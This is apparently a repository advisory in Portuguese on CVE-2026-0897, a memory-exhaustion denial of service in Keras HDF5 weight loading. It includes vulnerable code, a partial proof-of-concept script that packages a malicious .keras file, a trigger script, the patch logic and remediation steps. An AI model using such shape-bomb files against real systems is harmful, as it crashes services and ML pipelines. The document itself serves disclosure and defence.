CVE-2026-0897 — Google Keras: Negação de Serviço via Bomba de Forma HDF5 no Carregamento de Pesos

Visão Geral

Descrição

Existe uma vulnerabilidade de Negação de Serviço no componente de carregamento de pesos HDF5 do Google Keras versões 3.0.0 a 3.13.0 em todas as plataformas. A vulnerabilidade é causada pela ausência de qualquer validação ou limitação ao processar metadados de forma de datasets HDF5 declarados dentro de um arquivo .keras.

O formato HDF5 permite que datasets declarem sua forma (dimensões do tensor) como metadados. Quando o Keras carrega pesos de modelo de um arquivo .keras, ele lê essa forma declarada e tenta alocar um bloco de memória correspondente antes que qualquer dado seja transferido. Como o Keras não realiza nenhuma verificação de limites na forma declarada antes da alocação, um atacante pode criar um arquivo model.weights.h5 que declara uma forma astronomicamente grande — por exemplo (1000000, 1000000, 1000000) — fazendo com que o Keras tente uma alocação de memória na escala de petabytes. Isso esgota toda a memória disponível do sistema e derruba o interpretador Python.

Nenhuma inferência ou interação adicional é necessária após o carregamento do modelo. O ataque é totalmente acionado no momento do carregamento.

Componente Afetado

A vulnerabilidade está localizada especificamente na classe KerasFileEditor, que é responsável por desserializar tensores de pesos de modelo a partir de armazenamentos HDF5 embutidos em arquivos .keras.

Detalhamento do Vetor CVSS 4.0

Impacto

• Negação de Serviço Completa — O interpretador Python falha e o processo é encerrado quando o arquivo malicioso é carregado
• Esgotamento de Memória — A RAM do sistema é rapidamente consumida ao tentar atender à alocação declarada, potencialmente afetando outros serviços co-localizados
• Interrupção de Pipelines de ML — Qualquer pipeline de produção ou pesquisa que carregue arquivos de modelo .keras de fontes não confiáveis ou fornecidas por usuários está vulnerável
• Nenhuma Autenticação Necessária — Um atacante só precisa que a vítima carregue um arquivo malicioso; o ataque não exige credenciais nem acesso prévio

Contextos de Implantação de Alto Risco

Detalhes Técnicos

Mecanismo de Ataque: Bomba de Forma HDF5

O formato de arquivo HDF5 armazena metadados de tensor — incluindo declarações de forma — separadamente dos bytes de dados reais. Quando KerasFileEditor._extract_weights_from_store() encontra uma entrada de dataset, ele lê a forma declarada e chama o NumPy para pré-alocar um array com as dimensões correspondentes antes de ler qualquer dado do disco.

Como a forma é um metadado, um arquivo HDF5 mínimo pode declarar uma forma que exigiria petabytes de memória enquanto o próprio arquivo permanece com apenas alguns kilobytes de tamanho. A proporção entre o tamanho do arquivo e o tamanho da alocação torna isso um ataque de amplificação altamente eficaz.

Uma forma como (1000000, 1000000, 1000000) com um dtype float de 32 bits solicitaria aproximadamente 4.000 petabytes de memória. O out-of-memory killer do sistema operacional ou o alocador do Python derrubará o processo quase que instantaneamente.

Caminho de Código Vulnerável (antes da correção)

# keras/src/saving/file_editor.py (pre-fix, simplified)
def _extract_weights_from_store(self, h5_file, inner_path=""):
    for key in h5_file.keys():
        obj = h5_file[key]
        if isinstance(obj, h5py.Dataset):
            # Shape is read from metadata — no validation performed
            shape = obj.shape
            # NumPy attempts to allocate based on declared shape
            data = np.zeros(shape, dtype=obj.dtype)  # VULNERABLE: unbounded allocation

A ausência de qualquer verificação em shape antes de chamar np.zeros() é a causa raiz.

Prova de Conceito

Esta informação é fornecida apenas para fins educacionais e de defesa. Não teste em sistemas que você não possui ou para os quais não tem autorização explícita para testar.

Gerando um Arquivo .keras Malicioso

# generate_shape_bomb.py
import h5py
import zipfile
import json
import os

# Step 1: Create a minimal HDF5 weights file with a hostile shape declaration
with h5py.File("model.weights.h5", "w") as f:
    grp = f.create_group("layers/dense/vars")
    # Declare shape that would require petabytes of memory to allocate
    # Actual data is never written — only the metadata shape declaration is malicious
    grp.create_dataset(
        "0",
        shape=(0,),           # actual stored data: empty
        maxshape=(None,),
        dtype="float32",
        data=[]
    )
    # Override shape metadata to declare hostile dimensions
    # (achieved via direct HDF5 attribute manipulation in a real attack)

# Step 2: Package into a valid .keras archive structure
config = {
    "class_name": "Sequential",
    "config": {"name": "sequential", "trainable": True, "layers": []},
    "keras_version": "3.0.0",
    "backend": "tensorflow"
}

with zipfile.ZipFile("malicious_model.keras", "w") as zf:
    zf.writestr("config.json", json.dumps(config))
    zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read())

print("[+] Malicious .keras archive generated: malicious_model.keras")

Acionando o DoS

# trigger.py
import keras

print("[+] Loading malicious model...")
# The crash occurs at load time — no inference required
model = keras.saving.load_model("malicious_model.keras")
print("[-] This line is never reached — interpreter has crashed")

Resultado esperado: o interpretador Python é encerrado com um MemoryError ou é morto pelo gerenciador de falta de memória do sistema operacional antes que o carregamento seja concluído.

Sintomas observáveis:

• Pico repentino de memória até o limite do sistema durante o carregamento do modelo
• Falha do interpretador Python ou MemoryError durante load_model() ou load_weights()
• Erros de falta de memória do sistema correlacionados com o processamento de arquivos HDF5
• Arquivos HDF5 incomuns com formas de dataset declaradas extremamente grandes, detectáveis via h5dump

Correção

A vulnerabilidade foi resolvida pelo pesquisador (HyperPS / Sarvesh Patil) no PR #21880, mesclado em keras-team:master em 29 de dezembro de 2025, revisado e aprovado pelo mantenedor do Keras hertschuh.

O Que a Correção Implementa

O patch modifica KerasFileEditor._extract_weights_from_store() em keras/src/saving/file_editor.py para adicionar as seguintes proteções antes que qualquer alocação de memória ocorra:

• Validação de forma — Rejeita formas que contenham dimensões negativas ou produtos de dimensão zero
• Limite de posto (rank) — Rejeita datasets com posto de tensor superior a 64 (nenhum peso de modelo válido tem posto > 64)
• Detecção de estouro de dimensão — Verifica valores de dimensão que causariam estouro na aritmética de inteiros ao serem multiplicados
• Teto máximo de memória — Aplica um limite rígido de 1 GiB por alocação de dataset; qualquer dataset cuja forma declarada exigiria mais de 1 GiB é rejeitado com um erro antes que a alocação seja tentada
• Correção do caminho de recursão — Corrige o tratamento de inner_path durante a travessia recursiva do armazenamento HDF5

A correção é compatível com versões anteriores de todos os arquivos de pesos válidos do Keras.

Patch (ilustração simplificada)

# keras/src/saving/file_editor.py (post-fix logic, simplified)

MAX_BYTES = 1 * 1024 ** 3  # 1 GiB hard cap per dataset
MAX_RANK = 64

def _validate_hdf5_dataset_shape(shape, dtype):
    """Reject hostile HDF5 shape declarations before any allocation."""
    if len(shape) > MAX_RANK:
        raise ValueError(
            f"HDF5 dataset has rank {len(shape)}, which exceeds the "
            f"maximum permitted rank of {MAX_RANK}. This may indicate "
            "a malicious file."
        )
    for dim in shape:
        if dim < 0:
            raise ValueError(
                f"HDF5 dataset contains a negative dimension ({dim}). "
                "This may indicate a malicious file."
            )
    import math, numpy as np
    try:
        total_elements = math.prod(shape)
    except OverflowError:
        raise ValueError(
            "HDF5 dataset shape overflows integer arithmetic. "
            "This may indicate a malicious file."
        )
    itemsize = np.dtype(dtype).itemsize
    total_bytes = total_elements * itemsize
    if total_bytes > MAX_BYTES:
        raise ValueError(
            f"HDF5 dataset would require {total_bytes / 1024**3:.2f} GiB to "
            f"load, which exceeds the 1 GiB safety limit. This may indicate "
            "a malicious file."
        )

Remediação

Atualize via pip:

pip install --upgrade keras

Verifique a versão instalada:

python -c "import keras; print(keras.__version__)"

Pré-verifique um arquivo de pesos HDF5 em busca de formas suspeitas:

h5dump --header model.weights.h5 | grep -i "DATASPACE"

Linha do Tempo

Referências

Aviso Legal

Este repositório documenta o CVE-2026-0897 estritamente para fins educacionais, de pesquisa e de segurança defensiva. O código de prova de conceito e os detalhes técnicos são fornecidos para auxiliar desenvolvedores, engenheiros de segurança e administradores de sistemas a entender, avaliar e corrigir esta vulnerabilidade.

Qualquer uso destas informações para causar danos a sistemas, serviços ou indivíduos sem autorização explícita é ilegal e antiético. O autor não assume nenhuma responsabilidade pelo uso indevido das informações contidas neste documento.

Colaboradores @mohitf070304